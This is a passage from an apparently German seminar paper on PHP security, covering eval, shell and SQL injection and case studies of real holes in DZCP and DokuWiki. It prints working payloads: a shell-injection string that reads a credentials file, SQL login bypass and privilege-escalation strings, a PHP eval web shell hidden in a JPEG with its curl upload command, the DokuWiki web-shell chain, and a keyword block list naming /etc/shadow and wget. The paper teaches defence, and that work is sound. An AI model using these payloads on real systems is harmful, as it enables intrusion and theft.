Gefährdung existiert trotzdem noch, zum Beispiel falls der Angreifer Dateien auf der lokalen Festplatte schreiben kann, die er daraufhin mithilfe eines angreifbaren `include()` einbindet; oder durch die verschiedenen anderen Arten von Code Injection, die im Folgenden betrachtet werden.

3.4 Code Injection

Der Begriff „Injection“ bezeichnet die Möglichkeit, dass Benutzereingaben als Programmcode oder Befehle weiterverarbeitet werden. Je nachdem, wo diese Benutzerdaten „injiziert“ werden, spricht man von verschiedenen Arten von Code Injection.

3.4.1 Eval Injection

Hierbei wird eine Benutzereingabe an die `eval()`-Funktion weitergegeben, mit der ein beliebiger String ausgeführt werden kann. Es gibt nur sehr wenige Fälle, in denen solch ein Vorgehen wirklich nötig ist, man sollte es um jeden Preis zu vermeiden versuchen. Falls das nicht möglich ist, nur Eingabezeichen oder Zeichenkombinationen auf einer Whitelist zulassen, niemals versuchen, nur die „gefährlichen“ Fälle herauszufiltern. Man vergisst immer mindestens einen.

3.4.2 Dynamic Evaluation

PHP unterstützt sogenannte „variable Variablen“ und „variable Funktionen“, bei denen der Name der Variablen oder Funktion in einer Variablen steht:

```
$func = $_GET['func'];
$var = $_GET['var'];
$ret = $func($$var);
```

Auch hier muss genauestens auf mögliche Sicherheitslücken geachtet werden. Da jedoch die auftretenden Angriffspunkte sehr stark von der Verwendung dieser Art von Code abhängen, lassen sich kaum allgemeine Tipps geben, wie man sich vor Angreifern schützen kann. Ohne Quellcodekenntnis fällt ein Angriff allerdings sehr schwer.

[21] natürlich als Sicherheitsmaßnahme gegen ungewünschtes *Aktivieren*

3.4.3 Shell Injection

PHP besitzt diverse Funktionen[22], um Kommandozeilenprogramme und -befehle auf dem Server auszuführen sowie den „Backtick-Operator“, der identisch zu `shell_exec()` ist. Beim Übergeben von Benutzerinput an diese Funktionen muss man natürlich besonderes Augenmerk auf die Sicherheit legen, da ansonsten ein geschickter Angreifer beliebige Shell-Befehle ausführen könnte. Das Hauptproblem liegt darin, dass den Funktionen der Befehl inklusive Parameter als ein einziger String übergeben wird; es ist Aufgabe der Shell, diesen String zu verarbeiten. Der Autor des PHP-Scriptes muss sich darum kümmern, zu verhindern, dass ein Angreifer durch geschicktes Einfügen besonderer Zeichen die vorgesehene Struktur des Befehls ändert.

Ein Beispiel: Die folgende Zeile soll nach Angabe eines Benutzernamens den Unix-Befehl `last` ausführen, der auflistet, wann der entsprechende Benutzer eingeloggt war.

```
passthru('last ' . $_GET['user']);
```

Solange der Benutzer nur gültige Benutzernamen eingibt, tut dieser Befehl, was er soll. Was aber, wenn als Benutzername folgendes eingegeben wird:

```
>/dev/null; cat mysql.conf.php
```

Das `>/dev/null` unterdrückt die Ausgabe des `last`-Befehls, das Semikolon beginnt einen neuen Befehl. `cat` ist der Befehl zum Ausgeben des Inhalts von Dateien, und als Parameter wird eine Konfigurationsdatei übergeben, die MySQL-Zugangsdaten enthält. Somit erhält der Angreifer nicht die letzten Anmeldezeitpunkte eines Benutzers, sondern kann mit den Rechten des angegriffenen PHP-Scripts beliebige Dateien lesen, schreiben und ganz allgemein jegliche Art von Shell-Befehlen ausführen.

Auf einschlägigen Websites finden sich vollständige Toolkits für die „Remote-Administration“ mittels PHP, z.B. die beliebte *r57shell*. Dabei handelt es sich um erstaunlich umfangreiche Software, mit der man beispielsweise komplette Verzeichnisbäume des Servers zusammenpacken und herunterladen oder eine interaktive Shell, fast wie über SSH, benutzen kann. Auf dem eigenen Server ist solche Software sicher praktisch, auf fremden Servern gibt sie einem Angreifer, sobald er sie über eine beliebige Lücke hochladen oder den Server zum Download veranlassen kann (siehe Remote File Inclusion), mächtige Werkzeuge zum Arbeiten auf dem Server zur Hand.

Um Shell-Injection zu verhindern, existieren in PHP zwei Funktionen, die Benutzereingaben für die sichere Verwendung in Befehlszeilen escapen, nämlich `escapeshellarg()` für einzelne Parameter und `escapeshellcmd()` für mehrere Parameter oder komplette Befehle. Diese verhindern aber nicht das grundlegende Problem: Der Befehl und sämtliche Parameter werden innerhalb eines einzigen Strings übergeben.

Eine sauberere Lösung sind die Funktionen zur Prozesskontrolle[23]. Diese stellen dem Entwickler das komplette Spektrum der Unix-Prozesskontrolle bereit

[22] http://php.net/manual/en/ref.exec.php
[23] http://php.net/manual/en/ref.pcntl.php

(z.B. Forking, Signale oder auch schlicht die Übergabe von Parametern als einzelne Variablen und nicht in einem String zusammengefasst). Leider bedeutet das gleichzeitig, dass sie nur unter Unix verfügbar sind. Außerdem können diese Funktionen nicht benutzt werden, wenn PHP in einen Webserver eingebettet ist; sie sind nur für den Standalone-Betrieb gedacht. Damit sind sie leider für den Großteil der PHP-Entwickler unbrauchbar.

3.5 SQL Injection

Bei SQL[24] handelt es sich um eine Anfragesprache, über die mit Datenbankservern kommuniziert werden kann. Im Zuge der Verbreitung von Datenbankzugängen bei Massen-Webhostern steigt auch die Anzahl der PHP-Scripts, die auf einer Datenbank basieren. Proportional dazu dürfte auch die Zahl der möglichen SQL Injections steigen.

Das zugrundeliegende Problem entspricht dem der bisher besprochenen Injections: Es fließen Daten aus einer Benutzereingabe in einen SQL-String ein, die nicht korrekt bzw. gar nicht auf besondere Zeichen untersucht werden. Betrachten wir als Beispiel ein Forum, das ein übergebenes Paar aus Benutzername und Passwort überprüft und bei positiver Prüfung dem Benutzer Zugang gewährt. Es könnte sich darin folgender Code finden:

```
$r = mysql_query(
  "SELECT user FROM users WHERE user='$user' AND pass='$pass'"
  );
```

Diese Anfrage gibt den Benutzernamen zurück, aber nur dann, wenn das Passwort korrekt ist.

Nehmen wir an, die Variablen `$user` und `$pass` würden aus unmodifizierten Benutzereingaben stammen. Ein Angreifer könnte sich nun mithilfe einer SQL Injection als Administrator einloggen, selbst wenn er dessen Passwort überhaupt nicht kennt. Dafür muss er nur als Benutzername einen beliebigen String (z.B. `egal`) übergeben und als Passwort folgendes SQL-Fragment:

```
kA' OR user='admin
```

Eingefügt in die SQL-Anfrage ergäbe sich folgendes:

```
SELECT user FROM users
  WHERE user='egal' AND pass='kA' OR user='admin'
```

Da hier das `OR` Vorrang hat, sucht der Datenbankserver alle Tupel, bei denen der Benutzername `egal` und das Passwort `kA` ist, *oder* bei denen der Benutzername `admin` ist. Das Passwort taucht in der `OR`-Bedingung überhaupt nicht mehr auf und wird folglich gar nicht überprüft. Diese Anfrage gibt also den `admin`-Benutzer zurück, vorausgesetzt, er existiert[25].

Es sind hier einige weitere Angriffe möglich:

[24] http://de.wikipedia.org/wiki/SQL

[25] Würde ein Benutzer `egal` mit Passwort `kA` existieren, würde dieser ebenfalls zurückgeliefert werden. Da das Forum womöglich nur den ersten Treffer auswertet, wäre es ratsam, sich vor dem Angriff zu vergewissern, dass es einen solchen Benutzer nicht gibt.

- Einige Datenbankserver unterstützen die `UNION`-Klausel[26] in `SELECT`-Anfragen, mit der mehrere Ergebnismengen vereinigt werden können. Damit können beispielsweise Daten aus in der ursprünglichen Anfrage überhaupt nicht referenzierten Tabellen ausgelesen werden. Ein Beispiel findet sich im Abschnitt 4.1 auf Seite 19.

- In eine ähnliche Richtung bewegen sich Ansätze mit Subqueries[27], die ebenfalls von einigen Datenbankservern, darunter MySQL ab Version 4.1, unterstützt werden. Mit Subqueries können an vielen Stellen, an denen skalare Werte (also konstante Strings, Zahlen oder Spaltennamen) stehen, geschachtelte `SELECT`-Anfragen benutzt werden. Ein Angreifer kann also auch auf diese Weise Zugriff auf unvorhergesehene Bereiche der Datenbank erlangen. Teilweise können Subqueries auch ganze Zeilen zurückgeben[28].

- Viele Server oder APIs verhindern das Verwenden von Semikola im SQL-Ausdruck, um zu vermeiden, dass Angreifer den ersten SQL-Befehl beenden und einen zweiten, unabhängigen, folgen lassen. Implementierungen, die das nicht tun, sind natürlich in dieser Hinsicht sehr umfangreich angreifbar. Besonders nützlich sind dann auch SQL-Kommentare (eigeleitet durch `--`), mit denen man den Rest der ursprünglichen Anweisung, nach der verwundbaren Stelle, auskommentieren kann.

- Sogar die Möglichkeit, lokale Dateien zu lesen und zu schreiben, ist in vielen Servern gegeben (z.B. `SELECT INTO OUTFILE`[29] bei MySQL). Im Normalfall ist es zwar nicht möglich, bereits bestehende Dateien zu überschreiben, aber zum Anlegen eines PHP-Scriptes oder von anderem Schadcode reichen die Möglichkeiten oft aus.

- Manche Server bieten sogar Funktionen zur Ausführung von Shellbefehlen an, beispielsweise über die vorinstallierte Stored Procedure namens `xp_cmdshell` in einigen Versionen von Microsofts *SQL Server*.

Für SQL Injections ist Quellcodekenntnis (bzw. Kenntnis von der Datenbankstruktur) von großem Vorteil, jedoch nicht immer zwingend nötig. Viele Implementierungen geben in der Standardeinstellung Fehler in SQL-Befehlen an den Benutzer zurück, und nicht selten ist das komplette fehlerhafte Query (oft zumindest ein Teil davon) in der Meldung enthalten. Dies vereinfacht Angriffe ungemein. Eine erste Abwehrmaßnahme ist es also, diese Fehlerausgaben abzuschalten. In PHP gibt es dafür den Konfigurationseintrag `error_reporting`, der nicht nur gegen SQL Injections auf einen diskreteren Wert gesetzt werden sollte. Beispielsweise bietet es sich an, Fehlermeldungen nicht an den Browser des Benutzers zurückzuliefern, sondern in einer Datei auf dem Server zu speichern.

Zu den weiteren Abwehrmaßnahmen zählt natürlich zuallererst das korrekte Escapen von Eingabedaten. Wird beispielsweise nur eine numerische ID

[26] MySQL: http://dev.mysql.com/doc/refman/5.0/en/union.html
[27] MySQL: http://dev.mysql.com/doc/refman/5.0/en/subqueries.html
[28] MySQL: http://dev.mysql.com/doc/refman/5.0/en/row-subqueries.html
[29] http://dev.mysql.com/doc/refman/5.0/en/select.html#id3240275

übergeben, bietet sich ein Type-Casting via `(int)` an. Für alles weitere gibt es für die verschiedenen von PHP unterstützten Datenbankfunktionen jeweils eigene Escaping-Funktionen zur korrekten Maskierung von Spezialzeichen, für MySQL beispielsweise `mysql_real_escape_string()`[30] Doch auch diese weisen immer wieder Lücken auf, beispielsweise in Verbindung mit exotischen Zeichensätzen.

Prepared Statements

Ein anderer Ansatz ist die Verwendung von *Prepared Statements*. Dabei werden Benutzereingaben nicht direkt in die SQL-Anfrage eingebettet, sondern durch Platzhalter (Fragezeichen oder einen Namen) ersetzt. Die Benutzerdaten werden dann beim Ausführen der Anfrage als zusätzliche Parameter neben dem SQL-String übergeben. Somit ist die Einschleusung von SQL-Code in die Parameter praktisch ausgeschlossen. Leider benutzen viele PHP-Applikationen diese Möglichkeit (noch) nicht, da die Unterstützung für Prepared Statements erst mit der *MySQLi*-Extension für PHP 5 und MySQL 4.1 eingeführt wurde.

4 Beispiele aus der Realität

Im Folgenden möchte ich einige Beispiele aus real existierenden Softwarepaketen geben, die demonstrieren sollen, dass es sich bei den in diesem Dokument angesprochenen Sicherheitslücken nicht nur um theoretische Gefährdungen handelt, und dass sie auch durchaus in von hunderten oder gar tausenden von Menschen benutzten Open-Source-Programmen auftauchen können.

4.1 SQL Injection in „deV!L‘z ClanPortal“

deV!L‘z ClanPortal[31] (DZCP) ist ein integriertes Allround-System für Webseiten von Mannschaften von Online-Spielern, sogenannten Clans. Das Paket beinhaltet ein News-System, Gästebuch, Forum, Benutzermanagement und vieles mehr. Entwickelt wird es von einem Team um eine Person oder Gruppierung mit dem bescheidenen Namen *Code King*[32]. Abgesehen von diversen Möglichkeiten, clientseitige XSS-Attacken durchzuführen, besitzt das Portal bereits seit mehreren Versionen einige SQL-Injection-Lücken. Diese werden von den in ihrer Freizeit am System arbeitenden Entwicklern teilweise so „geschlossen“, dass man durch das Modifizieren eines einzigen Bytes im Angriff auch bei „gepatchten“ Versionen Erfolge erzielen kann.

Nach meinem Hacker-Seminar-Vortrag, in dem ich den Exploit von x128[33] demonstrierte, nahm ich mir selbst noch einmal den Code von DZCP, damals in der Version 1.3.6, vor. Es dauerte anderthalb Stunden, bis ich unter den vielen Stellen, an denen SQL Injections möglich waren, eine Möglichkeit fand, die tatsächlich ausnutzbar war. Es handelt sich dabei um eine Kombination aus zwei Lücken, die für sich allein betrachtet nicht ausnutzbar wären.

Die erste Lücke findet sich in `inc/bbcode.php`, einem Script, das seinem Namen nicht ganz gerecht wird, da es nicht nur den BBCode-Parser enthält,

[30] http://de.php.net/manual/en/function.mysql-real-escape-string.php
[31] http://www.dzcp.de/
[32] http://www.codeking.eu/
[33] http://milw0rm.com/exploits/1968

sondern auch sämtliche global benötigten Funktionen und aus diesem Grund bei jedem Aufruf eingebunden wird. Ab Zeile 2480 beginnt die Funktion `page()`, die für die Ausgabe des grundlegenden HTML-Templates und zur Verfolgung von Benutzeraktivitäten benutzt wird. Diese Funktion erwartet mehrere Parameter, unter anderem `$where`, mit dem die aktuell von einem Benutzer betrachtete Seite in der Datenbank gespeichert wird[34]. Dieser Parameter wird dann in Zeile 2517 für ein `UPDATE`-Query benutzt:

```
$qry = db("UPDATE ".$db['users']."
           SET `time`     = '".((int)time())."',
               `whereami` = '".$where."'
           WHERE id = '".$userid."'");
```

Wie deutlich zu sehen ist, wird `$where` hier ohne Escaping benutzt, und zwar in einem `UPDATE` auf die Benutzertabelle[35]. Mein Ziel war es, dieses `UPDATE` so zu manipulieren, dass das Datenbankfeld mit den Benutzerrechten überschrieben wird. Da allerdings der Parameter nicht vom Benutzer selbst definiert, sondern auf den ersten Blick von allen DZCP-Subsystemen als konstanter String übergeben wird, galt es, eine Möglichkeit zu finden, ihn manuell zu spezifizieren.

Ich fand sie in `sites/index.php`. Dieses Script dient dem Anlegen von „statischen“ Seiten. Ab Zeile 12 beginnt folgende Datenbankabfrage:

```
$qry = db("SELECT s1.*,s2.internal FROM ".$db['sites']." AS s1
           LEFT JOIN ".$db['navi']." AS s2
           ON s1.id = s2.editor
           WHERE s1.id = '".$_GET['show']."'");
$get = _fetch($qry);
```

Der `GET`-Parameter *show* wurde also ungesehen in die Anfrage eingefügt. Nach einigem Herumprobieren konstruierte ich den folgenden String:

```
-1' UNION SELECT 1,
'Admin Panel\', level=4, waffe=\'SQL Injection', 2, 3, '
```

Die SQL-Anfrage sah daraufhin folgendermaßen aus (Einrückung zur besseren Übersicht verändert):

```
SELECT s1.*,s2.internal FROM sites AS s1
  LEFT JOIN navi AS s2 ON s1.id = s2.editor
  WHERE s1.id = '-1'
UNION SELECT 1,
  'Admin Panel\', level=4, waffe=\'SQL Injection', 2, 3, ''
```

Wie funktioniert der Angriff nun genau? Ohne interne Kenntnisse von DZCP ist das schwer nachzuvollziehen, also folgt nun eine detaillierte Erklärung:

[34] Sinn dieser Speicherung ist die Realisierung einer „wer-macht-gerade-was“- bzw. „wer-ist-gerade-wo“-Übersichtsseite.

[35] `$db['users']` enthält den Namen der Tabelle.

1. Die Angabe von `-1` sorgt dafür, dass in der eigentlichen Datenbank kein Treffer gefunden wird und daher das folgende `UNION` die einzigen verwendeten Daten liefert.

2. Die Tabelle `sites` besteht aus vier Spalten: Einer fortlaufenden ID (vom Typ Integer), einem Titel (Varchar), dem eigentlichen Seitentext (Text) und einem „HTML“-Flag. Das `UNION` muss die selbe Anzahl an Spalten verwenden; zusammen mit dem Feld `s2.internal` also fünf.

3. Wirklich eine Rolle spielt hier nur das zweite Feld, der `titel`. Denn in Zeile 34 findet sich

   ```
   $where = re($get['titel']);
   ```

   und in Zeile 47 dann schließlich

   ```
   page($index, $title, $where,$time);
   ```

   Der Titel als Ergebnis der SQL-Anfrage[36] wird also an die DZCP-interne Funktion `re()` übergeben, die unter anderem ein `stripslashes()`, also ein Entfernen von zum Escaping benutzten Backslashes, durchführt. Damit lautet der Titel:

   ```
   Admin Panel', level=4, waffe='SQL Injection
   ```

4. Dieser Titel wird nun an `page()` übergeben, die daraufhin folgende SQL-Anfrage ausführt:

   ```
   UPDATE users SET `time` = '12345',
     `whereami` = 'Admin Panel', level=4, waffe='SQL Injection'
     WHERE id = '4711'
   ```

   Dabei stellt `12345` die automatisch eingefügte Unix-Zeit und `4711` die ID des eingeloggten Benutzers dar. Die Angaben von *Admin Panel* und *SQL Injection* dienen nur der syntaktischen Korrektheit und dem Unterhaltungswert. Der Schlüssel zum Erfolg ist die Angabe von `level=4`, was dem Rechtelevel des Website-Administrators entspricht.

In der Praxis müssen bei diesem Angriff noch ein paar Dinge beachtet werden. Erstens funktioniert er nur, wenn PHPs Direktive `magic_quotes_gpc` deaktiviert ist, da PHP sonst selbst eine weitere Ebene Escaping einfügt. Eine von mir durchgeführte Prüfung von 182 zufällig ausgewählten über das Web zugänglichen `phpinfo()`-Ausgaben ergab, dass diese Einstellung bei ca. 18% der Seiten deaktiviert ist.

Zweitens muss der Injection-String im URL angegeben werden. Dabei stößt man auf das Problem, dass DZCP in dieser Version eine bei jedem Aufruf ausgeführte Datei namens `secure.php` mitbringt, die den Query-String auf Anzeichen von Angriffen durchsucht und bei einem Treffer die Ausführung beendet. Das grundlegende Prinzip ist der laienhaften Implementierung sieht wie folgt aus (gekürzt):

[36] die die Entwickler in `$get` speichern – nicht zu verwechseln mit `$_GET`

```
$qString = strtolower($_SERVER['QUERY_STRING']);
$pString = array('chr(', 'chr=', 'chr%20', '%20chr',
 'union%20', '%20union', 'union(', 'chmod(', 'chmod=',
 '/etc/password','/etc/shadow', '/etc/groups',
 'HTTP_USER_AGENT', 'HTTP_HOST', '/bin/ps', 'wget%20',
 'ftp.exe','<script','union+select', 'union', 'select');
$check = str_replace($pString, '*', $qString);
if($qString != $check)
 // Ausführung abbrechen
```

In früheren Versionen wurde der Query-String noch nicht in Kleinbuchstaben umgewandelt, sodass man dem Filter recht einfach entgehen konnte, indem man die Groß- und Kleinschreibung veränderte. In Version 1.3.6 würde unser Angriffs-String vom Filter ertappt werden. Die Lösung ist aber denkbar einfach, wenn man sich daran erinnert, dass in URLs beliebige Bytes durch `%` und ihren Hex-Code ersetzt werden können. Somit ist der fertige String, wie er auch in meinem veröffentlichten Advisory[37] auftaucht, folgender:

```
show=-1'+%55NION+%53ELECT+1,+'Admin+Panel\',+level%3d4,+
waffe%3d\'SQL+Injection',+2,+3,+'
```

4.2 File Upload in „deV!L‘z ClanPortal“

Der „Typ“ dieser Lücke wurde in diesem Dokument nicht explizit besprochen, weil sie eigentlich in kein festes Muster passt. Sie zeigt aber sehr schön auf, wie leicht Angriffsmöglichkeiten, an die nie jemand denken würde, eine komplette Site kompromittieren können. Auch dieses Loch habe ich selbst gefunden[38], wenige Stunden nach der SQL-Injection aus Abschnitt 4.1.

DZCP bietet in Version 1.3.6 jedem registrierten Benutzer die Möglichkeit, ein Bild von sich hochzuladen, das dann auf seiner Profilseite und in Forumbeiträgen angezeigt wird. Dafür ist das Script `upload/index.php` verantwortlich, das diese hochgeladenen Bilder überprüft und als lokale Dateien abspeichert. Interessant ist hierbei, die Kriterien zu betrachten, die ein „gültiges“ Bild erfüllen muss (Code ab Zeile 177):

1. Mittels PHPs `getimagesize()`-Funktion werden die Pixelmaße des Bildes in `$imageinfo` gespeichert. Damit wird später sichergestellt, dass es sich tatsächlich um eine gültige Bilddatei handelt, denn bei nicht lesbaren Bildern gibt diese Funktion einen Fehlerwert zurück.

2. Die Dateiendung wird extrahiert und in `$endung` gespeichert. Später wird der Dateiname aus der ID des hochladenden Benutzers und dieser Endung generiert.

3. Nun wird überprüft, ob überhaupt ein Bild hochgeladen wurde. Wenn ja, wird im Grunde folgender Check durchgeführt:

[37] http://scytale.de/files/adv/061124a-dzcp-sql.txt
[38] http://scytale.de/files/adv/061124b-dzcp-upload.txt

```
if($type != "image/gif" && $type != "image/pjpeg" &&
   $type != "image/jpeg" || !$imageinfo[0] )
     // Fehlermeldung
```

`$type` enthält dabei den MIME-Typen[39] der Datei. Es wird also sichergestellt, dass es sich um ein GIF- oder JPEG-Bild handelt, das nicht beschädigt, also lesbar, ist.

4. Nach einer Dateigröße-Prüfung wird die Datei als `$userid.$endung` abgespeichert.

Das Problem liegt hier hauptsächlich darin, dass die Dateiendung nicht eingeschränkt wird. Normalerweise setzt ein Browser zwar nur dann die oben genannten MIME-Typen, wenn er wirklich ein GIF- oder JPEG-Bild hochlädt, aber was, wenn man keinen Browser benutzt? Verwendet man beispielsweise die HTTP-Bibliothek cURL[40], so kann man beliebige Dateien hochladen und dabei beliebige MIME-Typen angeben, die der Datei nicht zwingend entsprechen müssen.

Ein PHP-Script mit Endung `.php` und MIME-Typ `image/jpeg` hochzuladen, scheitert jedoch daran, dass das „Bild“ nicht lesbar ist, weil es keine gültigen JPEG-Daten enthält. Nach einigem Herumprobieren gelang es mir allerdings, PHP-Code so in die Headerdaten eines JPEGs einzubauen, dass es weiterhin ein gültiges Bild war und auch PHP keine Parsing-Fehler aufgrund der Bilddaten ausgab. Der eingebettete Code lautete:

```
<?php eval($_GET['x']); exit(0); ?>
```

Diese Datei lud ich nun hoch:

```
curl -F 'file=@test.php;type=image/jpeg'
     'http://<dzcp>/upload/index.php?action=userpic&do=upload'
```

DZCP lieferte mir eine Bestätigung zurück; das Bild sei erfolgreich hochgeladen worden. Im Verzeichnis `inc/images/uploads/userpics` auf meinem lokalen Apache-Testserver konnte ich es jedoch nicht finden. Also ging ich den Code noch einmal durch und fand heraus, dass die Datei sich tatsächlich dort befand, wo sie angelegt werden sollte: Sie lag in diesem Verzeichnis, aber war aber nicht sichtbar, weil `curl` keine Cookies mitgeschickt hatte. Der hochladende Benutzer war nämlich gar kein registrierter Benutzer, `curl` war nicht „eingeloggt“. In diesem Fall war die Benutzer-ID `null`; als String gecastet der leere String `''`. Die Datei hieß also `.php`, ohne irgendwelche Zeichen vor der Endung, und auf Unix-Systemen gelten Dateien, deren Name mit einem Punkt beginnt, als versteckt.

Ich ließ mir also auch versteckte Dateien anzeigen, und fand in der Tat eine Datei namens `.php` im fraglichen Verzeichnis, die sich auch im Browser als `http://<dzcp>/inc/images/uploads/userpics/.php` aufrufen ließ und einwandfrei funktionierte. Dieses konnte ich nun aufrufen und mittels dem Parameter `x` beliebige PHP-Befehle übergeben.

[39] http://de.wikipedia.org/wiki/Content-Type
[40] http://curl.haxx.se/

4.3 File Disclosure und Code Injection mit DokuWiki

Im September 2006 veröffentlichte ein Hacker namens *rgod*[41] ohne vorheriges Kontaktieren des Autors einen Exploit[42] in der Wikisoftware DokuWiki[43], der es ermöglicht, beliebige Dateien auf dem Server mit Rechten des Webservers zu lesen und zu schreiben.

Dieser Exploit basiert auf der Datei `dwpage.php`, die in der DokuWiki-Distribution im Verzeichnis `bin` mit ausgeliefert wurde. Es handelt sich dabei um ein für die Kommandozeile gedachtes Script, mit dem sich Wikiseiten als lokale Dateien speichern und lokale Dateien als Wikiseiten einpflegen lassen. Es verwendet keinerlei Authentifizierung. Der Gedanke dahinter ist, dass Personen mit Shell-Zugang zu DokuWikis Dateien folglich auch unbegrenzte Möglichkeiten haben, diese zu manipulieren. Jedoch war weder das Verzeichnis `bin` mittels einer `.htaccess`-Datei oder ähnlichem gegen Zugriff über das Web geschützt, noch prüfte `dwpage.php` seine Ausführungsumgebung darauf, ob es lokal oder via HTTP aufgerufen wurde. In Kombination mit PHPs Konfigurationsdirektive `register_argc_argv`, die, wenn aktiv, den Query-String einer HTTP-Anfrage wie Kommandozeilenargumente behandelt (und standardmäßig aktiv ist), konnte man alle Funktionen des Scripts auch über das Web benutzen.

Eine Möglichkeit wäre ein simpler File-Disclosure-Angriff, indem man eine lokale Datei als Wikiseite eincheckt. So könnte man beispielsweise die Benutzerdatenbank inklusive Passworthashes ins Wiki übertragen und einfach auslesen. *rgod* benutzt das Script, um mit drei Schritten beliebigen Code ausführen zu können.

1. Noch völlig ohne `dwpage.php` sendet der Angreifer einen Zugriff auf das Wiki: Eine (frei wählbare) Wikiseite soll zur Bearbeitung geöffnet werden[44]. In die HTTP-Anfrage baut er einen `X-Forwarded-For`-Header ein. Dieser ist eigentlich für Proxyserver[45] gedacht, die dort die IP-Adresse des Clients vermerken, für den die Anfrage durchgeführt wird.

   DokuWiki erstellt daraufhin ein Lockfile, dessen Name auf der zu bearbeitenden Seite basiert (z.B. `seite.txt.lock`). In diesem Lockfile wird die IP-Adresse der Anfrage, der Name des Benutzers (sofern eingeloggt) und, sofern vorhanden, der Inhalt des `X-Forwarded-For`-Headers vermerkt. Letzterer wird nicht überprüft oder auf irgendeine Weise auf IP-Adressen beschränkt. Der Angreifer setzt den Header auf PHP-Code, der dann im Lockfile gespeichert wird, z.B.

   ```
   X-Forwarded-For: <?php eval($_GET['x']); die; ?>
   ```

2. Nun wird `dwpage.php` benutzt, um das Lockfile als Wikiseite einzuchecken. Der URL lautet:

[41] http://retrogod.altervista.org/
[42] http://www.milw0rm.com/exploits/2321
[43] http://splitbrain.org/go/dokuwiki
[44] Dies bedeutet, dass der Angreifer Wikiseiten bearbeiten dürfen muss, bei öffentlichen Wikis ist dies aber sehr oft der Fall.
[45] http://de.wikipedia.org/wiki/Proxy_(Rechnernetz)

```
http://<dokuwiki>/bin/dwpage.php?
-m+"foo"+commit+../data/pages/seite.txt.lock+wiki:seite2
```

3. Als letzter Schritt wird die soeben neu erstellte Wikiseite als lokale Datei gespeichert:

   ```
   http://<dokuwiki>/bin/dwpage.php?
   -m+"foo"+checkout+wiki:seite2+../foo.php
   ```

   Nun kann über die soeben erstellte Datei `foo.php` beliebiger Code ausgeführt werden, den man über den Parameter `x` übergibt.

Es ist mir nicht bekannt, warum eine solch schwer wiegende und offensichtliche Sicherheitslücke wie `dwpage.php` nicht schon lange zuvor entdeckt wurde. Der Fix bestand darin, eine Zeile in das Script einzufügen:

```
if ('cli' != php_sapi_name()) die();
```

5 Ausblick

PHP erfreut sich trotz ständig neuen Sicherheitslücken, die oft in den Anwendungen, teils aber auch in PHP selbst stecken, weiterhin wachsender Beliebtheit, daran änderte auch der für den März 2007 ausgerufene *Month of PHP Bugs*[46], zu dem mehrere schwere Sicherheitslücken veröffentlicht wurden, nichts.

Die PHP-Entwickler arbeiten kontinuierlich an Verbesserungen, so wird ab PHP 6 `register_globals` endgültig abgeschafft, bereits ab Version 5.2 gibt es `allow_url_include`, mit dem unabhängig von `allow_url_fopen` Remote File Inclusion für `include()` und dessen Schwesterfunktionen deaktiviert werden kann.

Damit wird PHP zwar oberflächlich gesehen sicherer, leidet aber weiterhin hauptsächlich unter seiner Popularität und einfachen Erlernbarkeit, die ihm immer wieder Programmieranfänger ohne die nötige Erfahrung, Sicherheitslücken zu erkennen und zu vermeiden, bescheren wird. Die Lösung dieses Problems sehe ich in der Offenlegung möglichst vieler Angriffstechniken und Schutzmaßnahmen sowie genereller Schulung der PHP-Programmierer, einen stärkeren Fokus auf Sicherheitsaspekte zu legen. Ich hoffe, dass ich mit dieser Arbeit einen Teil dazu beitragen konnte.

[46] http://blog.php-security.org/archives/71-Month-of-PHP-Bugs-and-PHP-5.2.1.html